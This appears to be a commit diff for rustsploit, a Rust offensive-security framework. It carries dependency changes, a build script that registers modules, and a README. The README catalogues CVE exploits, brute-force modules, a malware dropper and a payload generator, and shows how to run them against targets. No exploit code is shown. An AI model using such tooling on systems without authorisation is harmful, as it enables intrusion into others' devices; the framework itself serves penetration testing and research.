Delete src directory

Update Cargo.toml

Cargo.toml

@@ -1,54 +1,114 @@
 [package]
 name = "rustsploit"
-version = "0.1.0"
+version = "0.3.5"
 edition = "2021"
-
-[dependencies]
-# For HTTP requests
-reqwest = { version = "0.12.15", features = ["json", "socks"] }
-
-#proxy manager
-rand = "0.9.0"
-
-# For CLI parsing
-clap = { version = "4.5.35", features = ["derive"] }
-
-# Async runtime for networking
-tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process"] }
-
-# Easier error handling
-anyhow = "1.0.97"
-
-#teminal color
-colored = "3.0.0"
-rustyline = "15.0.0"
-#ftp brute force module
-async_ftp = "6.0.0"
-
-tokio-socks = "0.5.2"
-
-#telnet
-threadpool = "1.8.1"
-crossbeam-channel = "0.5.15"
-telnet = "0.2.3"
-
-walkdir = "2.5.0"
-
-#ssh
-ssh2 = "0.9.5"
-
-# rstp brute forcing
-base64 = "0.22.1"
-
-# RDP brute forcing module
-rdp = "0.12.8"
-
-# ssdp moudle scanner
-regex = "1.11.1"
-
-#camera uniview exploit
-quick-xml = "0.37.4"
+build = "build.rs"
 
 [[bin]]
 name = "rustsploit"
 path = "src/main.rs"
+
+[dependencies]
+# Core / General
+anyhow = "1.0"
+colored = "3.0"                 # newer than 2.0
+rand = "0.9"
+rustyline = "15.0"
+sysinfo = { version = "0.36", features = ["multithread"] }
+
+# CLI & Async runtime
+clap = { version = "4.5", features = ["derive"] }
+tokio = { version = "1.44", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
+
+# HTTP & Web
+reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
+h2 = "0.3"
+http = "0.2"
+bytes = "1.0"
+tokio-rustls = "0.24"
+url = "2.5"
+quick-xml = "0.37"
+data-encoding = "2.5"
+semver = "1.0"
+
+# Crypto & Encoding
+aes = "0.8"
+cipher = "0.4"
+md5 = "0.7"
+sha2 = "0.10"
+hex = "0.4"
+flate2 = "1.0"
+base64 = "0.22"
+
+# Networking & Protocols
+tokio-socks = "0.5"
+socket2 = { version = "0.5", features = ["all"] }
+pnet_packet = "0.34"
+ipnet = "2.11"
+ipnetwork = "0.20"
+regex = "1.11"                  # newest listed
+which = "8.0"
+
+# FTP
+async_ftp = "6.0"
+suppaftp = { version = "6.3", features = ["async", "async-native-tls", "native-tls"] }
+native-tls = "0.2"
+rustls = "0.23"
+webpki-roots = "0.26"
+
+# Telnet
+threadpool = "1.8"
+crossbeam-channel = "0.5"
+telnet = "0.2"
+async-stream = "0.3.6"
+
+# SSH
+ssh2 = "0.9"
+libc = "0.2"
+
+# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
+# rdp = "0.12"
+
+# Walkdir (used by telnet module)
+walkdir = "2.5"
+
+# WebSocket (Spotube exploit)
+tokio-tungstenite = "0.26"
+
+# Futures
+futures = "0.3"
+futures-util = "0.3"
+
+# JSON & Serialization
+serde = { version = "1.0", features = ["derive"] }
+serde_json = "1.0"
+chrono = { version = "0.4", features = ["serde"] }
+
+# API Server (Axum)
+axum = "0.7"
+tower = "0.5"
+tower-http = { version = "0.6", features = ["cors", "trace"] }
+uuid = { version = "1.10", features = ["v4"] }
+
+# DNS
+hickory-client = { version = "0.24", features = ["dnssec"] }
+hickory-proto = "0.24"
+
+# Misc utilities
+once_cell = "1.19"
+home = "=0.5.11"               # pinned for edition 2021 compatibility
+
+[build-dependencies]
+regex = "1.11"
+
+# Dependency overrides to address security warnings in transitive dependencies
+# Note: These are warnings (not vulnerabilities) in transitive dependencies
+# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
+# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
+
+[profile.release]
+opt-level = 3
+lto = "fat"
+codegen-units = 1
+panic = "abort"
+strip = true

README.md

@@ -1,134 +1,434 @@
-
 # Rustsploit 🛠️
 
-A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
+Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
 
-![Screenshot](https://github.com/s-b-repo/r-routersploit/raw/main/lat.png)
+![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
+![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/testing.png)
+
+
+- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
+- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
+- 🌐 **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
+- 🧱 **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
 
 ---
 
-### Goals & To Do lists
+## Table of Contents
 
+1. [Highlights](#highlights)
+2. [Module Catalog](#module-catalog)
+3. [Quick Start](#quick-start)
+4. [Docker Deployment](#docker-deployment)
+5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
+6. [CLI Usage](#cli-usage)
+7. [API Server Mode](#api-server-mode)
+8. [Proxy Workflow](#proxy-workflow)
+9. [How Modules Are Discovered](#how-modules-are-discovered)
+10. [Contributing](#contributing)
+11. [Credits](#credits)
 
-convert exploits and add modules
+---
 
+## Highlights
 
-# completed
+- ✅ **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
+- ✅ **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
+- ✅ **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
+- ✅ **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP brute force modules with IPv6 and TLS support where applicable
+- ✅ **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
+- ✅ **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
+- ✅ **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
+- ✅ **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
+- ✅ **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
+
+---
+
+## Module Catalog
+
+Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
+
+| Category | Highlights |
+|----------|------------|
+| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
+| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
+| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion) |
+| `payloadgens` | `narutto_dropper`, BAT payload generator |
+| `lists` | RTSP wordlists and helper files |
+
+Run `modules` or `find <keyword>` in the shell for the authoritative list.
+
+---
+
+## Quick Start
+
+### Requirements
+
+ ```
+sudo apt update
+sudo apt install freerdp2-x11    # Required for the RDP brute force module
 ```
 
+Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
 
+### Clone + Build
 
-
-added uniview_nvr_pwd_disclosure
-
-added ssdp_msearch
-
-added hearbleed
-
-added port scanner
-
-added find command
-
-updated docs
-
-created docs
-
-added wordlist for camera paths
-
-added acti camera module
-
-created bat payload generator for malware
-
-added proxy support https/http socks4/socks5
-
-telnet brute forcing  module
- 
-ssh brute forcing  module
-
-ftp anonymous login module
-
-ftp brute forcing  module
-
-added rtsp_bruteforce module
-
-dynamic modules listing and colored listing
-
-```
-
-## 🚀 Building & Running
-
-### 📦 Clone the Repository
-
-```
-git clone https://github.com/s-b-repo/r-routersploit.git
-cd r-routersploit
-```
-
-### 🛠️ Build the Project
-
-```
+ ```
+git clone https://github.com/s-b-repo/rustsploit.git
+cd rustsploit
 cargo build
+```
 
-or if you just want to run the tool and see after builing run this command in folder
+### Run (Interactive Shell)
 
+ ```
 cargo run
 ```
-if you want it installed run
-```
-cargo install
+
+### Install (optional)
+
+ ```
+cargo install --path .
 ```
 
-
-
-### 🖥️ Run in Interactive Shell Mode
-
-Launch the interactive RSF shell:
-
-```
-
-rustsploit
-
-cargo run
-
-
-```
-
-Once inside the shell, you can explore and execute modules:
-
-```
-rsf> Available commands
-rsf> show_proxies 
-rsf> proxy_off  
-rsf> proxy_on 
-rsf> proxy_load <file>
-rsf> find
-rsf> help
-rsf> modules
-rsf> use exploits/sample_exploit
-rsf> set target 192.168.1.1
-rsf> run
-```
-
-### 🔧 Run in CLI Mode
-
-You can run specific modules via CLI using subcommands:
-
-#### ▶ Exploit
-
-```
-cargo run -- --command exploit --module sample_exploit --target 192.168.1.1
-```
-
-#### 🧪 Scanner
-
-```
-cargo run -- --command scanner --module sample_scanner --target 192.168.1.1
-```
-
-#### 🔐 Credentials
-
-```
-cargo run -- --command creds --module sample_cred_check --target 192.168.1.1
-```
 ---
 
+## Docker Deployment
+
+Rustsploit ships with a standalone provisioning script that builds and launches the API inside Docker (mirroring the multi-stage workflow used in vxcontrol/pentagi).
+
+### Requirements
+
+- Docker Engine 24+ (or Docker Desktop)
+- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
+- Python 3.8+
+
+### Interactive Setup
+
+ ```
+python3 scripts/setup_docker.py
+```
+
+The helper will:
+
+1. Confirm you are in the repository root (`Cargo.toml` present).
+2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom host:port).
+3. Let you enter or auto-generate an API key (printable ASCII, 128 chars max).
+4. Toggle hardening mode and tune the IP limit if desired.
+5. Generate:
+   - `docker/Dockerfile.api` (build + serve stages)
+   - `docker/entrypoint.sh` (passes CLI flags / hardening state)
+   - `.env.rustsploit-docker` (API key, bind address, hardening settings)
+   - `docker-compose.rustsploit.yml`
+6. Optionally run `docker compose up -d --build` with BuildKit enabled.
+
+Existing files are never overwritten without confirmation (use `--force` for scripted deployments).
+
+### Non-Interactive / CI Usage
+
+All prompts have CLI equivalents:
+
+ ```
+python3 scripts/setup_docker.py \
+  --bind 0.0.0.0:8443 \
+  --generate-key \
+  --enable-hardening \
+  --ip-limit 5 \
+  --skip-up \
+  --force \
+  --non-interactive
+```
+
+This produces the Docker assets but skips the compose launch. To start the stack later:
+
+ ```
+docker compose -f docker-compose.rustsploit.yml up -d --build
+```
+
+Environment variables are written with 0600 permissions so secrets stay private. Re-run the script any time you want to regenerate artefacts or rotate the API key.
+
+---
+
+## Interactive Shell Walkthrough
+
+The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
+
+```text
+RustSploit Command Palette
+Command          Shortcuts                Description
+--------------- ------------------------- ------------------------------
+help             help | h | ?             Show this screen
+modules          modules | ls | m         List discovered modules
+find             find <kw> | f1 <kw>      Search modules by keyword
+use              use <path> | u <path>    Select module (ex: u exploits/heartbleed)
+set target       set target <value>       Set current target (IPv4/IPv6/hostname)
+run              run | go                 Execute current module (honors proxy mode)
+proxy_load       proxy_load [file] | pl   Load proxies from file (HTTP/HTTPS/SOCKS)
+proxy_on/off     proxy_on | pon / ...     Toggle proxy usage
+proxy_test       proxy_test | ptest       Validate proxies (URL, timeout, concurrency)
+show_proxies     show_proxies | proxies   View proxy status
+exit             exit | quit | q          Leave shell
+```
+
+Example session:
+
+```text
+rsf> f1 ssh
+rsf> u creds/generic/ssh_bruteforce
+rsf> set target 10.10.10.10
+rsf> pl data/proxies.txt    # prompts if omitted
+rsf> pon
+rsf> proxy_test             # optional validation / filtering
+rsf> go
+```
+
+If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
+
+---
+
+## CLI Usage
+
+Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
+
+ ```
+# Exploit
+cargo run -- --command exploit --module heartbleed --target 192.168.1.1
+
+# Scanner
+cargo run -- --command scanner --module port_scanner --target 192.168.1.1
+
+# Credentials
+cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
+```
+
+Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
+
+---
+
+## API Server Mode
+
+Rustsploit includes a REST API server mode that allows remote control of the tool via HTTP endpoints. The API includes authentication, rate limiting, IP tracking, and security hardening features.
+
+### Starting the API Server
+
+ ```
+# Basic API server (defaults to 0.0.0.0:8080)
+cargo run -- --api --api-key your-secret-key-here
+
+# With hardening enabled (auto-rotate API key on suspicious activity)
+cargo run -- --api --api-key your-secret-key-here --harden
+
+# Custom interface and IP limit
+cargo run -- --api --api-key your-secret-key-here --harden --interface 127.0.0.1 --ip-limit 5
+
+# Custom port
+cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
+```
+
+### API Flags
+
+| Flag | Description | Required |
+|------|-------------|----------|
+| `--api` | Enable API server mode | Yes |
+| `--api-key <key>` | API key for authentication | Yes (when using `--api`) |
+| `--harden` | Enable hardening mode (auto-rotate key on suspicious activity) | No |
+| `--interface <addr>` | Network interface/IP to bind to (default: `0.0.0.0`) | No |
+| `--ip-limit <num>` | Maximum unique IPs before auto-rotation (default: 10, requires `--harden`) | No |
+
+### API Endpoints
+
+All endpoints except `/health` require authentication via the `Authorization` header:
+
+ ```
+# Bearer token format
+Authorization: Bearer your-api-key-here
+
+# Or ApiKey format
+Authorization: ApiKey your-api-key-here
+```
+
+#### Public Endpoints
+
+- **`GET /health`** - Health check (no authentication required)
+  ```
+  curl http://localhost:8080/health
+  ```
+
+#### Protected Endpoints
+
+- **`GET /api/modules`** - List all available modules
+  ```
+  curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
+  ```
+
+- **`POST /api/run`** - Execute a module on a target
+  ```
+  curl -X POST -H "Authorization: Bearer your-api-key" \
+       -H "Content-Type: application/json" \
+       -d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
+       http://localhost:8080/api/run
+  ```
+
+- **`GET /api/status`** - Get API server status and statistics
+  ```
+  curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
+  ```
+
+- **`POST /api/rotate-key`** - Manually rotate the API key
+  ```
+  curl -X POST -H "Authorization: Bearer your-api-key" \
+       http://localhost:8080/api/rotate-key
+  ```
+
+- **`GET /api/ips`** - Get all tracked IP addresses with details
+  ```
+  curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
+  ```
+
+- **`GET /api/auth-failures`** - Get authentication failure statistics
+  ```
+  curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
+  ```
+
+### telnet config example
+ ```
+{
+  "port": 23,
+  "username_wordlist": "usernames.txt",
+  "password_wordlist": "passwords.txt",
+  "threads": 10,
+  "delay_ms": 50,
+  "connection_timeout": 3,
+  "read_timeout": 1,
+  "stop_on_success": true,
+  "verbose": false,
+  "full_combo": true,
+  "raw_bruteforce": false,
+  "raw_charset": "",
+  "raw_min_length": 0,
+  "raw_max_length": 0,
+  "output_file": "results.txt",
+  "append_mode": false,
+  "pre_validate": true,
+  "retry_on_error": true,
+  "max_retries": 2,
+  "login_prompts": ["login:", "username:"],
+  "password_prompts": ["password:"],
+  "success_indicators": ["$", "#", "welcome"],
+  "failure_indicators": ["incorrect", "failed"]
+}
+```
+  
+  
+  
+### Security Features
+
+#### Rate Limiting
+- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
+- Blocked IPs receive HTTP `429 Too Many Requests` responses
+- Failed attempts are logged to both terminal and log file
+- Counter resets automatically after the block period expires
+- Successful authentication resets the failure counter for that IP
+
+#### Hardening Mode
+When `--harden` is enabled:
+- Tracks unique IP addresses accessing the API
+- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
+- Logs all rotation events to terminal and `rustsploit_api.log`
+- Clears IP tracking after key rotation
+
+#### Logging
+All API activity is logged to:
+- **Terminal:** Real-time console output with colored status messages
+- **Log File:** `rustsploit_api.log` in the current working directory
+
+Log entries include:
+- API requests and responses
+- Authentication failures and rate limiting events
+- IP tracking and hardening actions
+- Key rotation events
+- Module execution results
+
+### Example API Workflow
+
+ ```
+# 1. Start the API server
+cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
+
+# 2. Check health
+curl http://localhost:8080/health
+
+# 3. List available modules
+curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
+
+# 4. Run a port scan
+curl -X POST -H "Authorization: Bearer my-secret-key" \
+     -H "Content-Type: application/json" \
+     -d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
+     http://localhost:8080/api/run
+
+# 5. Check status
+curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
+
+# 6. View tracked IPs
+curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
+```
+
+---
+
+## Proxy Workflow
+
+Rustsploit treats proxy lists as first-class citizens:
+
+- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
+- Loads from user-supplied files, skipping invalid lines with reasons
+- Optional connectivity test prompts allow tuning:
+  - Test URL (default `https://example.com`)
+  - Timeout (seconds)
+  - Max concurrent checks
+- Keeps only working proxies when validation is requested
+- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
+
+Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
+
+---
+
+## How Modules Are Discovered
+
+Rustsploit scans `src/modules/` recursively during build. Each module should expose:
+
+```rust
+pub async fn run(target: &str) -> anyhow::Result<()>;
+```
+
+Optional interactive entry points (`run_interactive`) can coexist. Module paths are referenced relative to `src/modules/`, for example:
+
+- File: `src/modules/exploits/sample_exploit.rs`
+- Shell path: `exploits/sample_exploit`
+
+See the [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md) for scaffolding templates, async guidance, and tips on logging/persistence.
+
+---
+
+## Contributing
+
+Contributions are welcome! High-level suggestions:
+
+1. Fork + branch from `main`
+2. Add your module under the appropriate category
+3. Keep outputs concise, leverage `.yellow()/.green()` for status, and wrap heavy loops in async tasks when appropriate
+4. Document usage patterns in module comments
+5. Run `cargo fmt` and `cargo check` before opening a PR
+
+Bug reports, feature requests, and module ideas are appreciated. Feel free to log issues or reach out with PoCs.
+
+---
+
+## Credits
+
+- **Project Lead:** s-b-repo
+- **Language:** 100% Rust
+- **Wordlists:** Seclists + custom additions (`lists/` directory)
+- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
+
+> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
+

build.rs

@@ -0,0 +1,213 @@
+use std::collections::HashSet;
+use std::env;
+use std::fs::{self, File};
+use std::io::{Read, Write};
+use std::path::Path;
+use regex::Regex;
+
+/// Build script that generates module dispatchers for exploits, scanners, and creds.
+/// 
+/// This script:
+/// - Scans `src/modules/{category}/` directories recursively
+/// - Finds all `.rs` files (excluding `mod.rs`) that export `pub async fn run(target: &str)`
+/// - Generates dispatch functions that support both short names and full paths
+/// - Creates deterministic, sorted output for better maintainability
+
+fn main() {
+    // Tell Cargo to rerun this build script if module directories change
+    println!("cargo:rerun-if-changed=src/modules/exploits");
+    println!("cargo:rerun-if-changed=src/modules/creds");
+    println!("cargo:rerun-if-changed=src/modules/scanners");
+
+    // Generate dispatchers for each module category
+    let categories = vec![
+        ("src/modules/exploits", "exploit_dispatch.rs", "crate::modules::exploits", "Exploit"),
+        ("src/modules/creds", "creds_dispatch.rs", "crate::modules::creds", "Cred"),
+        ("src/modules/scanners", "scanner_dispatch.rs", "crate::modules::scanners", "Scanner"),
+    ];
+
+    for (root, out_file, mod_prefix, category_name) in categories {
+        if let Err(e) = generate_dispatch(root, out_file, mod_prefix, category_name) {
+            eprintln!("❌ Error generating {} dispatcher: {}", category_name, e);
+            std::process::exit(1);
+        }
+    }
+}
+
+/// Generates a dispatch function for a module category.
+/// 
+/// # Arguments
+/// * `root` - Root directory to scan (e.g., "src/modules/exploits")
+/// * `out_file` - Output filename (e.g., "exploit_dispatch.rs")
+/// * `mod_prefix` - Module path prefix (e.g., "crate::modules::exploits")
+/// * `category_name` - Category name for error messages (e.g., "Exploit")
+fn generate_dispatch(
+    root: &str,
+    out_file: &str,
+    mod_prefix: &str,
+    category_name: &str,
+) -> Result<(), Box<dyn std::error::Error>> {
+    let out_dir = env::var("OUT_DIR")
+        .map_err(|_| "OUT_DIR environment variable not set")?;
+    let dest_path = Path::new(&out_dir).join(out_file);
+    
+    let root_path = Path::new(root);
+    if !root_path.exists() {
+        return Err(format!("Module directory '{}' does not exist", root).into());
+    }
+
+    // Collect all module mappings (using HashSet to avoid duplicates)
+    let mut mappings = HashSet::new();
+    visit_dirs(root_path, "".to_string(), &mut mappings)?;
+
+    if mappings.is_empty() {
+        eprintln!("⚠️  Warning: No modules found in {}", root);
+    }
+
+    // Sort mappings for deterministic output
+    let mut sorted_mappings: Vec<_> = mappings.iter().collect();
+    sorted_mappings.sort_by_key(|(key, _)| key);
+
+    // Generate the dispatch function
+    let mut file = File::create(&dest_path)
+        .map_err(|e| format!("Failed to create {}: {}", dest_path.display(), e))?;
+
+    writeln!(
+        file,
+        "// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n"
+    )?;
+
+    writeln!(
+        file,
+        "/// Dispatches to the appropriate {} module based on module name.\n\
+         /// Supports both short names (e.g., 'port_scanner') and full paths (e.g., 'scanners/port_scanner').",
+        category_name.to_lowercase()
+    )?;
+
+    writeln!(
+        file,
+        "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n    match module_name {{"
+    )?;
+
+    // Generate match arms for each module (supporting both short and full names)
+    for (key, mod_path) in &sorted_mappings {
+        let short_key = key.rsplit('/').next().unwrap_or(key);
+        let mod_code_path = mod_path.replace("/", "::");
+
+        // Support both short name and full path
+        if short_key == *key {
+            // No subdirectory, only short name
+            writeln!(
+                file,
+                r#"        "{k}" => {{ {p}::{m}::run(target).await? }},"#,
+                k = key,
+                m = mod_code_path,
+                p = mod_prefix
+            )?;
+        } else {
+            // Has subdirectory, support both short and full
+            writeln!(
+                file,
+                r#"        "{short}" | "{full}" => {{ {p}::{m}::run(target).await? }},"#,
+                short = short_key,
+                full = key,
+                m = mod_code_path,
+                p = mod_prefix
+            )?;
+        }
+    }
+
+    writeln!(
+        file,
+        r#"        _ => anyhow::bail!("{} module '{{}}' not found.", module_name),"#,
+        category_name
+    )?;
+
+    writeln!(file, "    }}\n    Ok(())\n}}")?;
+
+    println!("✅ Generated {} with {} modules", out_file, sorted_mappings.len());
+    Ok(())
+}
+
+/// Recursively visits directories to find all module files.
+/// 
+/// # Arguments
+/// * `dir` - Directory to scan
+/// * `prefix` - Current path prefix (e.g., "generic" or "camera/acti")
+/// * `mappings` - Set to store (full_path, module_path) tuples
+fn visit_dirs(
+    dir: &Path,
+    prefix: String,
+    mappings: &mut HashSet<(String, String)>,
+) -> Result<(), Box<dyn std::error::Error>> {
+    // Compile regex once for better performance
+    // Matches: pub async fn run(target: &str) or pub async fn run(_target: &str)
+    let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")
+        .map_err(|e| format!("Failed to compile regex: {}", e))?;
+
+    if !dir.is_dir() {
+        return Ok(());
+    }
+
+    let mut entries: Vec<_> = fs::read_dir(dir)?
+        .collect::<Result<Vec<_>, _>>()?;
+    
+    // Sort entries for deterministic processing
+    entries.sort_by_key(|e| e.file_name());
+
+    for entry in entries {
+        let path = entry.path();
+        let file_name = entry.file_name();
+
+        if path.is_dir() {
+            // Recursively visit subdirectories
+            let sub_prefix = if prefix.is_empty() {
+                file_name.to_string_lossy().to_string()
+            } else {
+                format!("{}/{}", prefix, file_name.to_string_lossy())
+            };
+            visit_dirs(&path, sub_prefix, mappings)?;
+        } else if path.extension().map_or(false, |e| e == "rs") {
+            // Process Rust files
+            let file_stem = path.file_stem()
+                .and_then(|s| s.to_str())
+                .ok_or_else(|| format!("Invalid file name: {}", path.display()))?;
+
+            // Skip mod.rs files
+            if file_stem == "mod" {
+                continue;
+            }
+
+            // Build module path
+            let mod_path = if prefix.is_empty() {
+                file_stem.to_string()
+            } else {
+                format!("{}/{}", prefix, file_stem)
+            };
+
+            // Full key includes the category prefix (will be added in generate_dispatch)
+            let key = mod_path.clone();
+
+            // Read and check for the run function signature
+            let mut source = String::new();
+            File::open(&path)?.read_to_string(&mut source)?;
+
+            if sig_re.is_match(&source) {
+                mappings.insert((key.clone(), mod_path.clone()));
+                let display_path = if prefix.is_empty() {
+                    file_stem.to_string()
+                } else {
+                    format!("{}/{}", prefix, file_stem)
+                };
+                println!("  ✅ Registered module: {}", display_path);
+            } else {
+                // Only warn in verbose mode to reduce noise
+                if env::var("RUSTSPLOIT_VERBOSE_BUILD").is_ok() {
+                    println!("  ⚠️  Skipping '{}': no matching 'pub async fn run(target: &str)'", path.display());
+                }
+            }
+        }
+    }
+
+    Ok(())
+}

docs/doc.md

@@ -1,437 +0,0 @@
- the internal architecture, how to add or modify modules, and how the CLI and shell interact with the framework.
-
----
-
-# 🛠️ Developer Documentation: RouterSploit-Rust Framework
-
-> This document explains the architecture, core logic, CLI, shell system, and how to add or modify exploit/scanner/credential modules. It is meant for developers looking to extend or maintain this Rust-based pentesting framework.
-
----
-
-## 🧠 Framework Philosophy
-
-This tool is a **modular, extensible**, and **safe-by-default** Rust rewrite of the RouterSploit concept. Each exploit, scanner, or credential brute-forcer lives in its own **module file**, and can be invoked via:
-
-- 📟 Command-Line Interface (CLI)
-- 🖥️ Interactive Shell
-
----
-
-## 🗂️ Directory Structure
-
-```
-routersploit_rust/
-├── Cargo.toml
-└── src
-    ├── main.rs              # Entry point
-    ├── cli.rs               # Parses CLI args
-    ├── shell.rs             # Interactive shell (rsf> prompt)
-    ├── commands/            # Dispatch logic for exploit/scanner/creds
-    │   ├── mod.rs
-    │   ├── exploit.rs
-    │   ├── scanner.rs
-    │   └── creds.rs
-    ├── modules/             # All available attack modules
-    │   ├── mod.rs
-    │   ├── exploits/
-    │   │   ├── mod.rs
-    │   │   └── sample_exploit.rs
-    │   ├── scanners/
-    │   │   ├── mod.rs
-    │   │   └── sample_scanner.rs
-    │   └── creds/
-    │       ├── mod.rs
-    │       └── sample_cred_check.rs
-    └── utils.rs             # Utility helpers (e.g., list modules)
-```
-
----
-
-## 🔗 Module System
-
-Each **module** (exploit/scanner/cred checker) is self-contained:
-
-### Anatomy of a Module
-
-```rust
-pub async fn run(target: &str) -> Result<()> {
-    println!("[*] Running <MODULE_NAME> on target {}", target);
-    // Logic here
-    Ok(())
-}
-```
-
-Each module must:
-- Be placed inside the correct subfolder (e.g., `modules/exploits/`)
-- Have a `run(target: &str) -> Result<()>` function
-- Be declared in its parent's `mod.rs`
-- Be wired into the corresponding command handler (e.g., `commands/exploit.rs`)
-
----
-
-## ⚙️ CLI Internals
-
-Handled via **Clap** in `cli.rs`:
-
-```
-cargo run -- --command exploit --module sample_exploit --target 192.168.1.1
-```
-
-- Parses command like `--command scanner`, `--module sample_scanner`, `--target 192.168.1.1`
-- Passed into `commands::handle_command()` for dispatch
-
----
-
-## 🖥️ Interactive Shell
-
-Start with:
-
-```
-cargo run
-```
-
-Inside the shell:
-
-```
-rsf> help
-rsf> modules
-rsf> use exploits/sample_exploit
-rsf> set target 192.168.1.1
-rsf> run
-```
-
-Shell maintains internal state:
-- `current_module` (e.g., `exploits/sample_exploit`)
-- `current_target` (e.g., `192.168.1.1`)
-
-When `run` is called, it dispatches via `commands::run_module()`.
-
----
-
-## 🧪 Running a Module (Backend Flow)
-
-1. Shell or CLI calls `commands::run_module("exploits/sample_exploit", "192.168.1.1")`
-2. `commands/mod.rs` matches `exploits/` and calls `commands/exploit.rs`
-3. `commands/exploit.rs` matches `sample_exploit` and calls `modules/exploits/sample_exploit.rs`
-4. `run(target: &str)` executes async exploit logic
-5. Results are printed back to the user
-
----
-
-## ➕ How to Add a New Exploit/Scanner/Cred Module
-
-### 1. Create the Module File
-
-Example: `src/modules/exploits/my_new_exploit.rs`
-
-```rust
-use anyhow::{Result, Context};
-use reqwest;
-
-pub async fn run(target: &str) -> Result<()> {
-    println!("[*] Launching my_new_exploit on {}", target);
-    let url = format!("http://{}/pwn", target);
-    let resp = reqwest::get(&url)
-        .await
-        .context("Request failed")?
-        .text()
-        .await?;
-
-    if resp.contains("owned") {
-        println!("[+] Target is vulnerable!");
-    } else {
-        println!("[-] Not vulnerable.");
-    }
-
-    Ok(())
-}
-```
-
----
-
-### 2. Register It in `mod.rs`
-
-```rust
-// src/modules/exploits/mod.rs
-pub mod sample_exploit;
-pub mod my_new_exploit;
-```
-
----
-
-### 3. Wire It into the Command Handler
-
-```rust
-// src/commands/exploit.rs
-match module_name {
-    "sample_exploit" => exploits::sample_exploit::run(target).await?,
-    "my_new_exploit" => exploits::my_new_exploit::run(target).await?,
-    _ => eprintln!("Unknown exploit module"),
-}
-```
-
----
-
-
----
-
-## 🛑 Error Handling
-
-- All `run()` functions return `Result<()>` using `anyhow` for easy error context.
-- Errors are automatically printed when the main shell or CLI fails.
-
----
-
